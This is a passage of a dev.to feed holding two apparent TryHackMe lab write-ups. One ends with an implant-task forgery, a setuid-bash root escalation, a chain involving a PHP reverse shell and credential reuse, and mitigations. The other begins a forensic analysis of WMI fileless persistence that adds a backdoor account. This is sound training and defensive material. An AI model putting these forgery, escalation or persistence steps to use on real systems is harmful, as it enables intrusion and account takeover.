&lt;span class="n"&gt;sig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hmac&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signing_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;submit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SUBMIT &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;task_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;|&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;task_type&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;|&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;|&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;|&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;sock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_UNIX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/run/evilinc/tasking.sock&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;OK
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The implant (running as root) picks up the task within its 3-second sleep cycle&lt;br&gt;
and executes the command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sleep 4
/bin/bash -p
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;bash-5.2#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=1002(vanessa) gid=1003(vanessa) euid=0(root) groups=1003(vanessa),1001(evilinc)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Root Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;bash-5.2#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
&lt;span class="go"&gt;EVILINC{REDACTED}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;WordPress REST batch-route confusion SQLi (CVE-2026-63030)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/wp-json/&lt;/code&gt; batch endpoint&lt;/td&gt;
&lt;td&gt;Pre-auth administrator creation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Post-auth arbitrary file write via Theme File Editor&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/wp-admin/theme-editor.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;RCE as &lt;code&gt;www-data&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Plaintext credentials in custom WordPress DB table&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wp_infra_accounts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Lateral movement to &lt;code&gt;norm&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Operator secret readable by group members&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/etc/evilinc/panel.conf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Authentication to internal panel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Restricted pickle unpickler bypass via &lt;code&gt;pydoc.locate&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/api/blueprints/import&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;RCE as &lt;code&gt;vanessa&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Roll-your-own crypto: LCPRNG keystream XOR + HMAC&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/opt/evilinc/implant&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Signing key recovery and task forgery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Root task execution without output validation&lt;/td&gt;
&lt;td&gt;&lt;code&gt;evilinc-implant.service&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Privilege escalation to root&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[nmap: port 80 WordPress 6.9, port 22 SSH pubkey-only]
        |
        v
[wpscan: user `heinz`, CVE-2026-63030 confirmed]
        |
        v
&lt;/span&gt;&lt;span class="gp"&gt;[wp2shell: pre-auth SQLi -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;admin created &lt;span class="o"&gt;(&lt;/span&gt;wp2_a5fdae0313e0&lt;span class="o"&gt;)]&lt;/span&gt;
&lt;span class="go"&gt;        |
        v
&lt;/span&gt;&lt;span class="gp"&gt;[Theme File Editor: PHP reverse shell -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;contact-info-locations.php]
&lt;span class="go"&gt;        |
        v
&lt;/span&gt;&lt;span class="gp"&gt;[curl trigger -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;reverse shell as www-data]
&lt;span class="go"&gt;        |
        v
[wp-config.php: DB creds wpuser:wp_WjURfdI]
        |
        v
[MySQL wp_infra_accounts: norm:N0rm_th3_r0b0t_2026]
        |
        v
&lt;/span&gt;&lt;span class="gp"&gt;[su norm -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;user.txt captured]
&lt;span class="go"&gt;        |
        v
&lt;/span&gt;&lt;span class="gp"&gt;[evilinc group -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/etc/evilinc/panel.conf -&amp;gt; operator_secret]
&lt;span class="go"&gt;        |
        v
&lt;/span&gt;&lt;span class="gp"&gt;[Port 8700 panel login -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/api/blueprints/import]
&lt;span class="go"&gt;        |
        v
&lt;/span&gt;&lt;span class="gp"&gt;[pydoc.locate pickle bypass -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;RCE as vanessa]
&lt;span class="go"&gt;        |
        v
&lt;/span&gt;&lt;span class="gp"&gt;[SSH key injection -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;operator.txt captured]
&lt;span class="go"&gt;        |
        v
[/run/evilinc/tasking.sock (group vanessa)]
        |
        v
&lt;/span&gt;&lt;span class="gp"&gt;[Implant binary RE: LCPRNG keystream XOR -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;base key -&amp;gt; HMAC&lt;span class="o"&gt;(&lt;/span&gt;key, machine_id&lt;span class="o"&gt;)]&lt;/span&gt;
&lt;span class="go"&gt;        |
        v
&lt;/span&gt;&lt;span class="gp"&gt;[Forge SUBMIT exec|chmod u+s /bin/bash -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/bin/bash &lt;span class="nt"&gt;-p&lt;/span&gt; -&amp;gt; root]
&lt;span class="go"&gt;        |
        v
[root.txt captured]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Keep WordPress and all plugins patched. CVE-2026-63030 was fixed in WordPress 6.9.5;
a one-version lag was enough to fully compromise the host.&lt;/li&gt;
&lt;li&gt;Never store plaintext infrastructure credentials in a database accessible to the web
application user. A dedicated secrets manager or encrypted vault should be used.&lt;/li&gt;
&lt;li&gt;Disable the WordPress Theme/Plugin File Editor in production
(&lt;code&gt;define('DISALLOW_FILE_EDIT', true)&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Pickle deserialization of untrusted input is inherently unsafe regardless of what
a restricted unpickler blocks. Any allowlist-based approach can be bypassed by
finding an unblocked callable that resolves to a dangerous function at runtime.
Accept only JSON or other safe serialization formats for user-supplied data.&lt;/li&gt;
&lt;li&gt;Do not roll your own cryptography. An LCPRNG-seeded keystream XOR is not a
cipher - the seed and output transformation are trivially reversed from a static
binary. Use established authenticated encryption (AES-GCM, ChaCha20-Poly1305) with
keys generated by a CSPRNG and stored securely outside the binary.&lt;/li&gt;
&lt;li&gt;Services that accept tasking from a Unix socket should authenticate the connecting
peer (e.g. via &lt;code&gt;SO_PEERCRED&lt;/code&gt;) rather than relying solely on filesystem permissions
plus an HMAC that can be forged once the key is recovered from the binary.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : After Hours Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sat, 08 Aug 2026 03:19:35 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-after-hours-writeup-565i</link>
      <guid>https://dev.to/exploitnotes/tryhackme-after-hours-writeup-565i</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;The provided archive contains a raw dump of a Windows CIM repository - the&lt;br&gt;
backing store for WMI (&lt;code&gt;INDEX.BTR&lt;/code&gt;, &lt;code&gt;MAPPING1.MAP&lt;/code&gt;, &lt;code&gt;MAPPING2.MAP&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;MAPPING3.MAP&lt;/code&gt;, &lt;code&gt;OBJECTS.DATA&lt;/code&gt;, normally found at&lt;br&gt;
&lt;code&gt;C:\Windows\System32\wbem\Repository\&lt;/code&gt;). Buried inside &lt;code&gt;OBJECTS.DATA&lt;/code&gt; is a&lt;br&gt;
three-stage fileless persistence chain: a &lt;code&gt;CommandLineEventConsumer&lt;/code&gt; (classic&lt;br&gt;
WMI persistence) launches PowerShell, which pulls a second-stage payload out&lt;br&gt;
of a custom, disguised WMI class property, decompresses it into a .NET&lt;br&gt;
assembly, and loads it entirely in memory. That assembly is a machine-name&lt;br&gt;
gated backdoor account creator - its &lt;code&gt;net user /add&lt;/code&gt; command line contains&lt;br&gt;
the flag, base64-encoded as the account password.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CommandLineEventConsumer (WMI persistence)
        |
        v
powershell.exe -enc &amp;lt;base64&amp;gt; (stage 1 script)
        |
        v
reads ROOT\cimv2:Win32_HardwareTelemetry.ConfigData (disguised as telemetry)
        |
        v
base64-decode -&amp;gt; raw DEFLATE decompress -&amp;gt; in-memory .NET assembly (stage 2)
        |
        v
Assembly.Load(...).EntryPoint.Invoke() - runs entirely in the PowerShell process
        |
        v
checks Environment.MachineName == "bytelotusdc"
        |
        v
cmd.exe /c net user patch &amp;lt;base64&amp;gt; /add
        |
        v
base64 decodes to the flag
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Identifying the Artifact
&lt;/h2&gt;

&lt;p&gt;The archive extracts to five files with no extension hints, so the first&lt;br&gt;
step was figuring out what they actually are:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;unzip attachments.zip
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;INDEX.BTR
MAPPING1.MAP
MAPPING2.MAP
MAPPING3.MAP
OBJECTS.DATA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;file&lt;/code&gt; reported all five as generic &lt;code&gt;data&lt;/code&gt; - no magic bytes to go on&lt;br&gt;
directly. The filenames themselves are the giveaway, though: &lt;code&gt;INDEX.BTR&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;MAPPING&amp;lt;n&amp;gt;.MAP&lt;/code&gt;, and &lt;code&gt;OBJECTS.DATA&lt;/code&gt; is the &lt;em&gt;exact&lt;/em&gt; file layout Windows uses&lt;br&gt;
for its WMI object repository (the "CIM repository"). Three rotating&lt;br&gt;
&lt;code&gt;MAPPING*.MAP&lt;/code&gt; files (a common pattern for crash-consistent writes - two or&lt;br&gt;
three generations of the same mapping table so a crash mid-write doesn't&lt;br&gt;
corrupt the whole database) all but confirmed it, and a quick string scan&lt;br&gt;
sealed it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;strings &lt;span class="nt"&gt;-e&lt;/span&gt; l &lt;span class="nt"&gt;-n&lt;/span&gt; 4 OBJECTS.DATA | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"EventFilter|EventConsumer|CIM_|__Win32Provider"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CIM_UserDevice
ActiveScriptEventConsumer
CommandLineEventConsumer
__EventFilter
__FilterToConsumerBinding
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These are stock WMI schema class names (&lt;code&gt;__EventFilter&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;__FilterToConsumerBinding&lt;/code&gt;, and the built-in event consumer classes) - this&lt;br&gt;
is a genuine CIM repository, most likely lifted from &lt;code&gt;root\subscription&lt;/code&gt; /&lt;br&gt;
&lt;code&gt;root\default&lt;/code&gt; on a compromised or lab Windows host.&lt;/p&gt;
&lt;h2&gt;
  
  
  Ruling Out the Easy Path
&lt;/h2&gt;

&lt;p&gt;The obvious first move - grep the raw bytes for the flag format directly -&lt;br&gt;
came up empty:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;glob&lt;/span&gt;

&lt;span class="n"&gt;targets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;THM{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;T&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s"&gt;H&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s"&gt;M&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s"&gt;{&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;latin1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;fn&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;glob&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;glob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;rb&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;targets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No hits in either ASCII or UTF-16LE, in any of the five files. A broader&lt;br&gt;
case-insensitive sweep for &lt;code&gt;flag&lt;/code&gt;, &lt;code&gt;thm&lt;/code&gt;, &lt;code&gt;ctf&lt;/code&gt; did return hits - but every&lt;br&gt;
single one turned out to be a false positive from legitimate WMI schema text&lt;br&gt;
(&lt;code&gt;algorithm&lt;/code&gt;, &lt;code&gt;CIM_ProductFRU&lt;/code&gt;, &lt;code&gt;PredictFailure&lt;/code&gt;, and similar stock property&lt;br&gt;
descriptions). This is an unmodified, stock CIM schema on the surface - the&lt;br&gt;
interesting content had to be hidden inside an actual &lt;em&gt;instance&lt;/em&gt;, not the&lt;br&gt;
schema itself.&lt;/p&gt;
&lt;h2&gt;
  
  
  Finding the Persistence Mechanism
&lt;/h2&gt;

&lt;p&gt;Rather than trying to fully reverse-engineer the CIM object-store binary&lt;br&gt;
format (a real undertaking - Mandiant's &lt;code&gt;flare-wmi&lt;/code&gt;/&lt;code&gt;python-cim&lt;/code&gt; project&lt;br&gt;
exists specifically because this format is nontrivial and undocumented by&lt;br&gt;
Microsoft), a targeted search for known WMI-abuse indicators was much faster&lt;br&gt;
and got a hit immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;

&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OBJECTS.DATA&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;rb&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;kw&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;powershell&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-enc&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;IEX&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;FromBase64String&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cmd.exe&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="n"&gt;idxs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;finditer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;escape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;idxs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;idxs&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;idxs&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;powershell&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1308878&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10254542&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18188606&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18421999&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22173902&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-enc&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1308918&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10254582&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22173942&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22477046&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pulling the context around one of the &lt;code&gt;-enc&lt;/code&gt; hits landed directly on the&lt;br&gt;
persistence object:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
